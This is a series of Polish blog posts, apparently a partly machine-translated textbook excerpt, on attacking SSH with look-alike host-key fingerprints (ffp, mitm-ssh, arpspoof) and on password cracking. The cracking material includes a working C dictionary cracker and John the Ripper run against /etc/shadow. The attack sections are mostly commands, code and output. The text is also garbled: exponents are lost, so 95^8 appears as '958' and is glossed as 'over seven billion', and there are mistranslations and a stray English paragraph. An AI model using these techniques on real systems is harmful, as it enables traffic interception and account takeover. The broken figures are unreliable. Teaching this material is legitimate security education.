Teraz, gdy format odcisku palca klucza hosta jest znany dla 192.168.42.72 (loki), można wygenerować rozmyte odciski palców, które wyglądają podobnie. Program, który to robi, został opracowany przez Rieck i jest dostępny pod adresem http://www.thc.org/thc-ffp/. Poniższy wynik pokazuje tworzenie niektórych rozmytych odcisków palców dla 192.168.42.72 (loki).
reader@hacking:~ $ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
reader@hacking:~ $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:
10:59:a0
---[Initializing]---------------------------------------------------------------
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done
---[Fuzzy Map]------------------------------------------------------------------
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% :
3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% :
0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% :
1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% :
---[Current Key]----------------------------------------------------------------
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy
State File: /var/tmp/ffp.state
Running...
---[Current State]--------------------------------------------------------------
Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
--------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 25.652482%
---[Current State]--------------------------------------------------------------
Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s
--------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 55.471931%
---[Current State]--------------------------------------------------------------
Running: 0d 00h 02m 00s | Total: 15370k hashs | Speed: 128082 hashs/s
--------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 55.471931%
.:[ output trimmed ]:.
---[Current State]--------------------------------------------------------------
Running: 1d 05h 06m 00s | Total: 13266446k hashs | Speed: 126637 hashs/s
--------------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 70.158321%
--------------------------------------------------------------------------------
Exiting and saving state file /var/tmp/ffp.state
reader@hacking:~ $
Ten rozmyty proces generowania linii papilarnych może trwać tak długo, jak jest to pożądane. Program śledzi niektóre z najlepszych odcisków palców i wyświetla je okresowo. Wszystkie informacje o stanie są przechowywane w /var/tmp/ffp.state, więc program może zostać zakończony za pomocą CTRL-C, a następnie wznowiony później, po prostu uruchamiając ffp bez żadnych argumentów. Po uruchomieniu na chwilę pary kluczy hosta SSH można wyodrębnić z pliku stanu za pomocą przełącznika -e.
reader@hacking:~ $ ffp -e -d /tmp
---[Restoring]------------------------------------------------------------------
Reading FFP State File: Done
Restoring environment: Done
Initializing Crunch Hash: Done
--------------------------------------------------------------------------------
Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]
reader@hacking:~ $ ls /tmp/ssh-rsa*
/tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub
/tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08
/tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub
/tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09
/tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub
reader@hacking:~ $
In the preceding example, 10 public and private host key pairs have been generated. Fingerprints for these key pairs can then be generated and compared with the original fingerprint, as seen in the following output.
reader@hacking:~ $ for i in $(ls -1 /tmp/ssh-rsa*.pub)
> do
> ssh-keygen -l -f $i
> done
1024 ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 /tmp/ssh-rsa00.pub
1024 ba:06:7f:12:bd:8a:5b:5c:eb:dd:93:ec:ec:d3:89:a9 /tmp/ssh-rsa01.pub
1024 ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0 /tmp/ssh-rsa02.pub
1024 ba:06:49:d4:b9:d4:96:4b:93:e8:5d:00:bd:99:53:a0 /tmp/ssh-rsa03.pub
1024 ba:06:7c:d2:15:a2:d3:0d:bf:f0:d4:5d:c6:10:22:90 /tmp/ssh-rsa04.pub
1024 ba:06:3f:22:1b:44:7b:db:41:27:54:ac:4a:10:29:e0 /tmp/ssh-rsa05.pub
1024 ba:06:78:dc:be:a6:43:15:eb:3f:ac:92:e5:8e:c9:50 /tmp/ssh-rsa06.pub
1024 ba:06:7f:da:ae:61:58:aa:eb:55:d0:0c:f6:13:61:30 /tmp/ssh-rsa07.pub
1024 ba:06:7d:e8:94:ad:eb:95:d2:c5:1e:6d:19:53:59:a0 /tmp/ssh-rsa08.pub
1024 ba:06:74:a2:c2:8b:a4:92:e1:e1:75:f5:19:15:60:a0 /tmp/ssh-rsa09.pub
reader@hacking:~ $ ssh-keygen -l -f ./loki.hostkey
1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
reader@hacking:~ $
Z 10 wygenerowanych par kluczy, ta, która wydaje się najbardziej podobna, może być określona przez oko. W tym przypadku wybrano ssh-rsa02.pub, pogrubiony. Niezależnie jednak od tego, która para kluczy zostanie wybrana, z pewnością będzie wyglądać bardziej jak oryginalny odcisk palca niż jakikolwiek losowo wygenerowany klucz. Ten nowy klucz może być użyty z mitm-ssh, aby uzyskać jeszcze skuteczniejszy atak. Lokalizacja klucza hosta jest określona w pliku konfiguracyjnym, więc użycie nowego klucza jest po prostu kwestią dodania linii HostKey do / usr / local / etc / mitm-ssh_config, jak pokazano poniżej. Ponieważ musimy usunąć linię protokołu 1, którą dodaliśmy wcześniej, dane wyjściowe po prostu zastępują plik konfiguracyjny.
reader@hacking:~ $ echo "HostKey /tmp/ssh-rsa02" > /usr/local/etc/mitm-ssh_config
reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222Using static route to 192.168.
42.72:22
Disabling protocol version 1.
Could not load host key SSH MITM Server listening on 0.0.0.0 port 2222.
W innym oknie terminala arpspoof działa, aby przekierować ruch do mitm-ssh, który użyje nowego klucza hosta z rozmytym odciskiem palca. Poniższe dane wyjściowe porównują dane wyjściowe, które klient zobaczy podczas łączenia.
Normalne połączenie
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)?
Atakowane połączenie MitM
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0.
Are you sure you want to continue connecting (yes/no)?
Czy możesz natychmiast powiedzieć różnicę? Te odciski palców wyglądają podobnie, by skłonić większość ludzi do zaakceptowania połączenia
Powrót
28.10.2020
Łamanie hasła
Hasła zazwyczaj nie są przechowywane w postaci zwykłego tekstu. Plik zawierający wszystkie hasła w postaci zwykłego tekstu byłby zbyt atrakcyjny jako cel, więc zamiast tego używana jest jednokierunkowa funkcja mieszania. Najbardziej znana z tych funkcji jest oparta na DES i nazywa się crypt (), co opisano na stronie podręcznika pokazanej poniżej.
NAME
crypt - password and data encryption
SYNOPSIS
#define _XOPEN_SOURCE
#include < unistd.h >
char *crypt(const char *key, const char *salt);
DESCRIPTION
crypt() is the password encryption function. It is based on the Data
Encryption Standard algorithm with variations intended (among other
things) to discourage use of hardware implementations of a key search.key is a user's typed password. salt is a two-character string chosen from the set [a-zA-Z0-9./]. This string is used to perturb the algorithm in one of 4096 different ways.
Jest to jednokierunkowa funkcja skrótu, która oczekuje hasła w postaci zwykłego tekstu i wartości soli dla danych wejściowych, a następnie generuje skrót z wartością dodaną soli. Ten skrót jest matematycznie nieodwracalny, co oznacza, że niemożliwe jest określenie oryginalnego hasła przy użyciu tylko skrótu. Napisanie szybkiego programu do eksperymentowania z tą funkcją pomoże wyjaśnić wszelkie nieporozumienia.
crypt_test.c
#define _XOPEN_SOURCE
#include < unistd.h >
#include < stdio.h >
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s < plaintext password > < salt value >\n", argv[0]);
exit(1);
}
printf("password \"%s\" with salt \"%s\" ", argv[1], argv[2]);
printf("hashes to ==> %s\n", crypt(argv[1], argv[2]));
}
Po skompilowaniu tego programu biblioteka crypt musi zostać połączona. Jest to pokazane na poniższym wyjściu, wraz z niektórymi przebiegami testowymi.
reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c
/tmp/cccrSvYU.o: In function `main':
crypt_test.c:(.text+0x73): undefined reference to `crypt'
collect2: ld returned 1 exit status
reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c -l crypt
reader@hacking:~/booksrc $ ./crypt_test testing je
password "testing" with salt "je" hashes to ==> jeLu9ckBgvgX.
reader@hacking:~/booksrc $ ./crypt_test test je
password "test" with salt "je" hashes to ==> jeHEAX1m66RV.
reader@hacking:~/booksrc $ ./crypt_test test xy
password "test" with salt "xy" hashes to ==> xyVSuHLjceD92
reader@hacking:~/booksrc $
Zauważ, że w dwóch ostatnich przebiegach to samo hasło jest szyfrowane, ale przy użyciu różnych wartości soli. Wartość soli jest używana do dalszego zakłócenia algorytmu, więc może istnieć wiele wartości mieszania dla tej samej wartości tekstu jawnego, jeśli używane są różne wartości soli. Wartość skrótu (łącznie z dodaną solą) jest przechowywana w pliku haseł pod założenie, że jeśli atakujący miałby ukraść plik haseł, skróty byłyby bezużyteczne. Gdy uprawniony użytkownik musi uwierzytelnić się za pomocą skrótu hasła, skrót tego użytkownika jest wyszukiwany w pliku haseł. Użytkownik jest proszony o wprowadzenie hasła, oryginalna wartość soli jest wyodrębniana z pliku haseł i cokolwiek użytkownik wysyła za pomocą tej samej jednokierunkowej funkcji mieszania z wartością soli. Jeśli wprowadzono poprawne hasło, jednokierunkowa funkcja mieszania wygeneruje to samo wyjście mieszania, które jest zapisane w pliku haseł. Dzięki temu uwierzytelnianie działa zgodnie z oczekiwaniami, bez konieczności przechowywania hasła w postaci zwykłego tekstu.
Powrót
29.10.2020
Ataki słownikowe
Okazuje się jednak, że zaszyfrowane hasła w pliku haseł wcale nie są takie bezużyteczne. Oczywiście, jest to matematycznie niemożliwe, aby odwrócić hash, ale możliwe jest szybkie skasowanie każdego słowa w słowniku, użycie wartości soli dla określonego skrótu, a następnie porównanie wyniku z tym hashem. Jeśli skróty są zgodne, to słowo ze słownika musi być hasłem zwykłego tekstu. Prosty program ataku słownikowego można dość łatwo podnieść. Wystarczy odczytać słowa z pliku, zmieszać każdy z nich przy użyciu odpowiedniej wartości soli i wyświetlić słowo, jeśli istnieje dopasowanie. Poniższy kod źródłowy robi to za pomocą funkcji strumienia plików, które są dołączone do stdio.h. Funkcje te są łatwiejsze w obsłudze, ponieważ zamykają bałagan wywołań open () i deskryptorów plików, używając zamiast tego wskaźników struktury PLIKU. W źródle poniżej argument r wywołania fopen () mówi mu, aby otworzyć plik do odczytu. Zwraca NULL w przypadku niepowodzenia lub wskaźnik do otwartego strumienia plików. Wywołanie fgets () pobiera ciąg z filestreamu, aż do maksymalnej długości lub gdy osiągnie koniec linii. W tym przypadku służy do odczytywania każdej linii z pliku listy słów. Ta funkcja zwraca również NULL w przypadku błędu, który jest używany do wykrywania, a następnie końca pliku.
crypt_crack.c
#define _XOPEN_SOURCE
#include < unistd.h >
#include < stdio.h >
/* Barf a message and exit. */
void barf(char *message, char *extra) {
printf(message, extra);
exit(1);
}
/* A dictionary attack example program */
int main(int argc, char *argv[]) {
FILE *wordlist;
char *hash, word[30], salt[3];
if(argc < 2)
barf("Usage: %s < wordlist file > < password hash >\n", argv[0]);
strncpy(salt, argv[2], 2); // First 2 bytes of hash are the salt.
salt[2] = '\0'; // terminate string
printf("Salt value is \'%s\'\n", salt);
if( (wordlist = fopen(argv[1], "r")) == NULL) // Open the wordlist.
barf("Fatal: couldn't open the file \'%s\'.\n", argv[1]);
while(fgets(word, 30, wordlist) != NULL) { // Read each word
word[strlen(word)-1] = '\0'; // Remove the '\n' byte at the end.
hash = crypt(word, salt); // Hash the word using the salt.
printf("trying word: %-30s ==> %15s\n", word, hash);
if(strcmp(hash, argv[2]) == 0) { // If the hash matches
printf("The hash \"%s\" is from the ", argv[2]);
printf("plaintext password \"%s\".\n", word);
fclose(wordlist);
exit(0);
}
}
printf("Couldn't find the plaintext password in the supplied wordlist.\n");
fclose(wordlist);
}
Poniższy wynik pokazuje, że ten program jest używany do złamania hasła hash jeHEAX1m66RV., Używając słów znalezionych w usr / share / dict / words.
reader@hacking:~/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt
reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeHEAX1m66RV.
Salt value is 'je'
trying word: ==> jesS3DmkteZYk
trying word: A ==> jeV7uK/S.y/KU
trying word: A's ==> jeEcn7sF7jwWU
trying word: AOL ==> jeSFGex8ANJDE
trying word: AOL's ==> jesSDhacNYUbc
trying word: Aachen ==> jeyQc3uB14q1E
trying word: Aachen's ==> je7AQSxfhvsyM
trying word: Aaliyah ==> je/vAqRJyOZvU
.:[ output trimmed ]:.
trying word: terse ==> jelgEmNGLflJ2
trying word: tersely ==> jeYfo1aImUWqg
trying word: terseness ==> jedH11z6kkEaA
trying word: terseness's ==> jedH11z6kkEaA
trying word: terser ==> jeXptBe6psF3g
trying word: tersest ==> jenhzylhDIqBA
trying word: tertiary ==> jex6uKY9AJDto
trying word: test ==> jeHEAX1m66RV.
The hash "jeHEAX1m66RV." is from the plaintext password "test".
reader@hacking:~/booksrc $
Ponieważ test słów był oryginalnym hasłem i słowo to znajduje się w pliku słów, skrót hasła zostanie ostatecznie złamany. Dlatego za słabe praktyki bezpieczeństwa uważa się używanie haseł, które są słowami słownikowymi lub słowami słownikowymi. Minusem tego ataku jest to, że jeśli oryginalne hasło nie jest słowem znalezionym w pliku słownika, hasło nie zostanie znalezione. Na przykład, jeśli nie-słownikowe słowo, takie jak h4R%, jest używane jako hasło, atak słownikowy nie będzie mógł go znaleźć:
reader@hacking:~/booksrc $ ./crypt_test h4R% je
password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE
reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeMqqfIfPNNTE
Salt value is 'je'
trying word: ==> jesS3DmkteZYk
trying word: A ==> jeV7uK/S.y/KU
trying word: A's ==> jeEcn7sF7jwWU
trying word: AOL ==> jeSFGex8ANJDE
trying word: AOL's ==> jesSDhacNYUbc
trying word: Aachen ==> jeyQc3uB14q1E
trying word: Aachen's ==> je7AQSxfhvsyM
trying word: Aaliyah ==> je/vAqRJyOZvU
.:[ output trimmed ]:.
trying word: zooms ==> je8A6DQ87wHHI
trying word: zoos ==> jePmCz9ZNPwKU
trying word: zucchini ==> jeqZ9LSWt.esI
trying word: zucchini's ==> jeqZ9LSWt.esI
trying word: zucchinis ==> jeqZ9LSWt.esI
trying word: zwieback ==> jezzR3b5zwlys
trying word: zwieback's ==> jezzR3b5zwlys
trying word: zygote ==> jei5HG7JrfLy6
trying word: zygote's ==> jej86M9AG0yj2
trying word: zygotes ==> jeWHQebUlxTmo
Nie można znaleźć hasła w postaci zwykłego tekstu w dostarczonej liście słów. Pliki słowników niestandardowych są często tworzone przy użyciu różnych języków, standardowych modyfikacji słów (takich jak przekształcanie liter w liczby) lub po prostu dołączanie numerów na końcu każdego słowa. Większy słownik da więcej haseł, ale przetworzenie zajmie więcej czasu.
Powrót
30.10.2020
Wyczerpujące ataki Brute-Force
Atak słownikowy, który próbuje każdą możliwą kombinację, jest wyczerpującym atakiem brute-force. Chociaż ten rodzaj ataku będzie technicznie w stanie złamać każde możliwe hasło, prawdopodobnie potrwa to dłużej, niż wnuki wnuków byłyby skłonne czekać. Z 95 możliwymi znakami wejściowymi dla haseł w stylu crypt (), istnieje 958 możliwych haseł do wyczerpującego wyszukiwania wszystkich haseł ośmioznakowych, co daje ponad siedem miliardów możliwych haseł. Liczba ta staje się tak duża, ponieważ ponieważ do długości hasła dodawany jest inny znak, liczba możliwych haseł rośnie wykładniczo. Zakładając 10 000 pęknięć na sekundę, wypróbowanie każdego hasła zajęłoby około 22 875 lat. Rozłożenie tego wysiłku na wiele maszyn i procesorów jest jednym z możliwych podejść; ważne jest jednak, aby pamiętać, że osiągnie to tylko przyspieszenie liniowe. Gdyby połączono tysiąc maszyn, każdy zdolny do 10 000 pęknięć na sekundę, wysiłek ten trwałby jeszcze ponad 22 lata. Przyspieszenie liniowe uzyskane przez dodanie innej maszyny jest marginalne w porównaniu ze wzrostem w przestrzeni klawiszy, gdy do długości hasła dodawany jest inny znak. Na szczęście odwrotność wzrostu wykładniczego jest również prawdziwa; w miarę usuwania znaków z długości hasła liczba możliwych haseł maleje wykładniczo. Oznacza to, że czteroznakowe hasło ma tylko 954 możliwe hasła. Ta przestrzeń klucza ma tylko około 84 milionów możliwych haseł, które mogą zostać wyczerpane (zakładając 10 000 pęknięć na sekundę) w ciągu nieco ponad dwóch godzin. Oznacza to, że nawet jeśli hasło takie jak h4R% nie znajduje się w żadnym słowniku, może zostać złamane w rozsądnym czasie. Oznacza to, że oprócz unikania słów słownikowych ważna jest również długość hasła. Ponieważ złożoność zwiększa się wykładniczo, podwojenie długości w celu uzyskania hasła składającego się z ośmiu znaków powinno przynieść poziom wysiłku wymagany do złamania hasła w nieuzasadnionym przedziale czasowym. Solar Designer opracował program łamania haseł o nazwie John the Ripper, który używa najpierw ataku słownikowego, a następnie wyczerpującego ataku brute-force. Ten program jest prawdopodobnie najbardziej popularny w swoim rodzaju; jest dostępny pod adresem http://www.openwall.com/john
reader@hacking:~/booksrc $ john
John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer
Usage: john [OPTIONS] [PASSWORD-FILES]
-single "single crack" mode
-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin
-rules enable rules for wordlist mode
-incremental[:MODE] incremental mode [using section MODE]
-external:MODE external mode or word filter
-stdout[:LENGTH] no cracking, just write words to stdout
-restore[:FILE] restore an interrupted session [from FILE]
-session:FILE set session file name to FILE
-status[:FILE] print status of a session [from FILE]
-makechars:FILE make a charset, FILE will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:[-]LOGIN|UID[,..] load this (these) user(s) only
-groups:[-]GID[,..] load users of this (these) group(s) only
-shells:[-]SHELL[,..] load users with this (these) shell(s) only
-salts:[-]COUNT load salts with at least COUNT passwords only
-format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM)
-savemem:LEVEL enable memory saving, at LEVEL 1..3
reader@hacking:~/booksrc $ sudo tail -3 /etc/shadow
matrix:$1$zCcRXVsm$GdpHxqC9epMrdQcayUx0//:13763:0:99999:7:::
jose:$1$pRS4.I8m$Zy5of8AtD800SeMgm.2Yg.:13786:0:99999:7:::
reader:U6aMy0wojraho:13764:0:99999:7:::
reader@hacking:~/booksrc $ sudo john /etc/shadow
Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32])
guesses: 0 time: 0:00:00:01 0% (2) c/s: 5522 trying: koko
guesses: 0 time: 0:00:00:03 6% (2) c/s: 5489 trying: exports
guesses: 0 time: 0:00:00:05 10% (2) c/s: 5561 trying: catcat
guesses: 0 time: 0:00:00:09 20% (2) c/s: 5514 trying: dilbert!
guesses: 0 time: 0:00:00:10 22% (2) c/s: 5513 trying: redrum3
testing7 (jose)
guesses: 1 time: 0:00:00:14 44% (2) c/s: 5539 trying: KnightKnight
guesses: 1 time: 0:00:00:17 59% (2) c/s: 5572 trying: Gofish!
Session aborted
Na tym wyjściu pokazano, że konto ma hasło do testing7
Powrót
31.10.2020
Tabela wyszukiwania haszów
Innym interesującym pomysłem na łamanie haseł jest użycie gigantycznej tablicy przeglądowej hash. Jeśli wszystkie skróty dla wszystkich możliwych haseł były wstępnie obliczone i przechowywane gdzieś w przeszukiwalnej strukturze danych, każde hasło może zostać złamane w czasie potrzebnym na wyszukiwanie. Zakładając wyszukiwanie binarne, tym razem będzie to około O (log2 N), gdzie N jest liczbą wpisów. Ponieważ N wynosi 958 w przypadku haseł ośmioznakowych, działa to na około O (8 log2 95), co jest dość szybkie. Jednak taka tablica wyszukiwania wymaga około 100 000 terabajtów pamięci. Ponadto konstrukcja algorytmu mieszania haseł uwzględnia ten typ ataku i łagodzi go za pomocą wartości soli. Ponieważ wiele haseł w postaci zwykłego tekstu będzie mieszało różne skróty haseł z różnymi solami, dla każdej soli musiałaby zostać utworzona osobna tabela przeglądowa. Dzięki funkcji crypt () opartej na DES, istnieje 4 096 możliwych wartości soli, co oznacza, że nawet w przypadku mniejszej przestrzeni klucza, takiej jak wszystkie możliwe czteroznakowe hasła, tablica haszująca staje się niepraktyczna. Z ustaloną solą, przestrzeń pamięci potrzebna na pojedynczą tablicę wyszukiwania dla wszystkich możliwych czteroznakowych haseł wynosi około jednego gigabajta, ale ze względu na wartości soli istnieje 4096 możliwych skrótów dla pojedynczego hasła w postaci zwykłego tekstu, co wymaga 4096 różnych tabel. Podnosi to potrzebną przestrzeń do około 4,6 terabajta, co znacznie zniechęca do takiego ataku
Powrót